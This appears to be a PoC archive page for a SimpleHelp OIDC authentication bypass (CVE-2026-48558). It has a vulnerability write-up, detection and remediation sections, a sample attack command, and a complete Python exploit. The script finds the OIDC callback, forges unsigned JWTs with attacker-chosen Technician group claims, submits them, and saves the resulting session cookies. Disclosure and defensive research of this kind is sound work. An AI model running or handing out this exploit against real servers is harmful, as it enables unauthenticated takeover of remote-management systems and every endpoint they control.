PoC Archive PoC Archive
Critical CVE-2026-48558 patched

SimpleHelp OIDC Authentication Bypass (CVE-2026-48558)

by J4ck3LSyN (J4ck3LSyN-Gen2) · 2026-07-05

CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-48558
Category
web
Affected product
SimpleHelp remote support / remote monitoring & management (RMM) server, OIDC authentication flow
Affected versions
5.5.15 and prior, and 6.0 pre-release versions (with OIDC authentication configured); fixed in 5.5.16 / 6.0 RC2
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07
Author / ResearcherJ4ck3LSyN (J4ck3LSyN-Gen2)
CVE / AdvisoryCVE-2026-48558
Categoryweb
SeverityCritical
CVSS Score~9.8–10.0 (per source, exact vendor score not confirmed)
StatusPoC
Tagssimplehelp, oidc, jwt, alg-none, auth-bypass, rmm, remote-support, cisa-kev
RelatedN/A

Affected Target

FieldValue
Software / SystemSimpleHelp remote support / remote monitoring & management (RMM) server, OIDC authentication flow
Versions Affected5.5.15 and prior, and 6.0 pre-release versions (with OIDC authentication configured); fixed in 5.5.16 / 6.0 RC2
Language / PlatformSimpleHelp server (target); PoC written in Python 3 (requests, PyJWT)
Authentication RequiredNo (unauthenticated attacker forges credentials)
Network Access RequiredYes

Summary

When OIDC authentication is enabled, SimpleHelp accepts identity tokens (ID Tokens/JWTs) at its OIDC callback endpoint without verifying their cryptographic signature — including tokens using alg: none. A remote, unauthenticated attacker can forge a JWT with arbitrary claims, including group memberships, and submit it to the callback endpoint to create an authenticated session as a privileged Technician user, potentially bypassing MFA. The PoC (poc.py) automates discovery of the OIDC callback endpoint, token forging, and submission of the forged token to obtain a privileged session.


Vulnerability Details

Root Cause

SimpleHelp’s OIDC token validation logic fails to enforce JWT signature verification: tokens with alg: none (no signature) or otherwise invalid signatures are accepted. Additionally, claims such as iss, aud, and exp are insufficiently validated in certain flows. When a Technician group is configured with “Allow group authenticated logins,” a forged token asserting membership in that group results in a fully authenticated, privileged session.

Attack Vector

  1. Attacker identifies a SimpleHelp server with OIDC authentication enabled and locates (or brute-force-discovers) its OIDC callback endpoint (e.g. /auth/oidc/callback).
  2. Attacker crafts a JWT with alg: none, populating claims such as iss, aud, sub, email, name, and groups (e.g. including a Technician group name) — no valid signature is required.
  3. Attacker POSTs the forged token as id_token to the OIDC callback endpoint.
  4. The server accepts the token without verifying its signature or fully validating its claims, and establishes an authenticated session with Technician-level privileges for the attacker.
  5. Attacker uses the resulting session to access managed endpoints, execute scripts, harvest credentials, or establish persistence.

Impact

Full unauthenticated compromise of the SimpleHelp Technician role, granting remote control over all endpoints managed by the SimpleHelp instance, script execution capability, credential access, and persistence. This vulnerability has been added to CISA’s Known Exploited Vulnerabilities (KEV) catalog and has reportedly been used in the wild to deploy additional malware (e.g. loaders/stealers per the source README).


Environment / Lab Setup

Target:   SimpleHelp server <= 5.5.15 or 6.0 pre-release, with OIDC authentication configured
Attacker: Python 3.6+ with `requests` and `PyJWT` installed

Proof of Concept

PoC Script

See poc.py in this folder.

1
2
3
4
5
6
7
python3 poc.py -u https://target.example.com \
  -i https://accounts.google.com \
  -a "your-configured-client-id" \
  -s attacker-sub \
  -e attacker@evil.com \
  -n "Evil Technician" \
  -g "Technicians,Admins"

The script attempts to auto-discover the OIDC callback endpoint (or accepts a manual --callback override), forges an unsigned (alg: none) or HS256-signed JWT with attacker-chosen issuer/audience/subject/email/name/group claims, and POSTs it as id_token to the callback. On success it reports the HTTP response, any authentication cookies returned, and saves them to session.json.


Detection & Indicators of Compromise

Signs of compromise:

  • Newly created Technician accounts with unfamiliar email addresses or names
  • OIDC callback requests bearing unsigned (alg: none) or otherwise invalid JWTs
  • Configuration changes or login events from unrecognized sources in server logs

Remediation

ActionDetail
Primary fixUpgrade to SimpleHelp 5.5.16 (5.5 branch) or 6.0 RC2 or later (6.0 branch), which enforce proper OIDC token signature verification
Interim mitigationDisable OIDC authentication entirely until patched; restrict server access via firewall/VPN/IP allowlisting; audit Technician accounts and authentication logs for anomalies

References


Notes

Mirrored from https://github.com/J4ck3LSyN-Gen2/CVE-2026-48558 on 2026-07-05. The upstream repo’s warning banner references an unrelated Chrome-sandbox RCE (CVE-2026-6307) — this appears to be a copy/paste artifact from a template and does not describe this vulnerability; this README is based on the actual poc.py code and the SimpleHelp OIDC-bypass description found in the repo.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
#!/usr/bin/env python3
"""
CVE-2026-48558 SimpleHelp OIDC Authentication Bypass Proof of Concept

This script demonstrates forging an OIDC ID token to create privileged Technician sessions
on vulnerable SimpleHelp servers (5.5.15 and prior, 6.0 pre-releases) when OIDC auth is enabled.

WARNING: For educational and authorized security testing purposes only.
Do not use against production systems without explicit written permission.
Unauthorized use may violate laws and terms of service.

Vendor patch: SimpleHelp 5.5.16 / 6.0 RC2 (2026-05 security update)
CISA KEV: Yes (active exploitation observed)

Created for responsible disclosure and defensive research.

Author: J4ck3LSyN
[Repo]: https://github.com/J4ck3LSyN-Gen2/CVE-2026-48558
[Sources]: 
    - https://secdb.nttzen.cloud/cve/detail/CVE-2026-48558
    - https://nvd.nist.gov/vuln/detail/CVE-2026-48558
    - https://fedisecfeeds.github.io/#CVE-2026-48558
"""

import argparse, base64, json, sys, time
from urllib.parse import urljoin
import requests
try:
    import jwt
except ImportError:
    print("[-] PyJWT not installed. Installing...");import subprocess;subprocess.check_call([sys.executable, "-m", "pip", "install", "PyJWT"]);import jwt

__author__ = "J4ck3LSyN"

class CVE202648558Exploit:
    def __init__(self, base_url, verify_ssl=True):
        self.base_url = base_url.rstrip('/')
        self.verify_ssl = verify_ssl
        self.session = requests.Session()
        self.session.verify = verify_ssl
        self.callback_url = None
        self.possible_paths = ['/auth/oidc/callback', '/auth/callback/oidc', '/oauth2/callback/oidc', '/oidc/callback', '/auth/auth/oidc/callback', '/servlet/auth/oidc/callback', '/login/oidc/callback', '/auth/oidc']

    def discover_callback(self):
        print("[*] Discovering OIDC callback...")
        for p in self.possible_paths:
            u = urljoin(self.base_url, p)
            try:
                r = self.session.get(u, timeout=8, allow_redirects=False)
                if r.status_code != 404:
                    print(f"[+] Candidate: {u} ({r.status_code})")
                    self.callback_url = u
                    return u
            except:
                pass
        print("[-] Auto-discovery failed.")
        return None

    def set_callback(self, url):
        self.callback_url = url

    def create_token(self, iss, aud, sub, email, name, groups=None, extra=None, alg="none"):
        groups = groups or []
        extra = extra or {}
        payload = {"iss": iss, "aud": aud, "sub": sub, "email": email, "name": name, "groups": groups, "iat": int(time.time()), "exp": int(time.time()) + 7200}
        payload.update(extra)
        header = {"alg": alg, "typ": "JWT"}
        if alg == "none":
            eh = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=').decode()
            ep = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode()
            return f"{eh}.{ep}."
        else:
            return jwt.encode(payload, "dummy", algorithm=alg)

    def exploit(self, iss, aud, sub, email, name, groups=None, token=None):
        if not self.callback_url:
            self.discover_callback()
            if not self.callback_url:
                return False, "No callback URL"
        if not token:
            token = self.create_token(iss, aud, sub, email, name, groups)
        print(f"[*] Token: {token[:60]}...")
        data = {'id_token': token}
        headers = {'Content-Type': 'application/x-www-form-urlencoded'}
        try:
            r = self.session.post(self.callback_url, data=data, headers=headers, timeout=15, allow_redirects=True)
            print(f"[+] Status: {r.status_code}")
            cookies = [c.name for c in r.cookies if any(k in c.name.lower() for k in ['session', 'token', 'auth', 'simplehelp'])]
            if cookies:
                print(f"[+] Cookies: {cookies}")
            txt = r.text.lower()
            if any(k in txt for k in ['technician', 'dashboard', 'admin', 'console']) or (300 <= r.status_code < 400 and any(k in r.headers.get('Location','').lower() for k in ['dashboard','console','admin'])):
                print("[+] Likely success")
                return True, r
            return False, r
        except Exception as e:
            return False, str(e)

def main():
    p = argparse.ArgumentParser(description="CVE-2026-48558 PoC")
    p.add_argument("-u","--url",required=True)
    p.add_argument("--no-verify",action="store_true")
    p.add_argument("-i","--issuer",required=True)
    p.add_argument("-a","--audience",required=True)
    p.add_argument("-s","--subject",required=True)
    p.add_argument("-e","--email",required=True)
    p.add_argument("-n","--name",required=True)
    p.add_argument("-g","--groups",default="")
    p.add_argument("--alg",default="none",choices=["none","HS256"])
    p.add_argument("--callback")
    p.add_argument("--token")
    args = p.parse_args()
    print("=== CVE-2026-48558 SimpleHelp PoC ===")
    exp = CVE202648558Exploit(args.url, not args.no_verify)
    if args.callback:
        exp.set_callback(args.callback)
    else:
        exp.discover_callback()
    groups = [g.strip() for g in args.groups.split(',') if g.strip()]
    token = args.token or exp.create_token(args.issuer, args.audience, args.subject, args.email, args.name, groups, alg=args.alg)
    print("[*] Attacking...")
    success, res = exp.exploit(args.issuer, args.audience, args.subject, args.email, args.name, groups, token)
    if success:
        print("[+] Success!")
        if hasattr(res,'cookies') and res.cookies:
            with open('session.json','w') as f:
                json.dump({c.name:c.value for c in exp.session.cookies},f,indent=2)
            print("[+] Cookies saved")
    else: print("[-] Failed")

if __name__ == "__main__": main()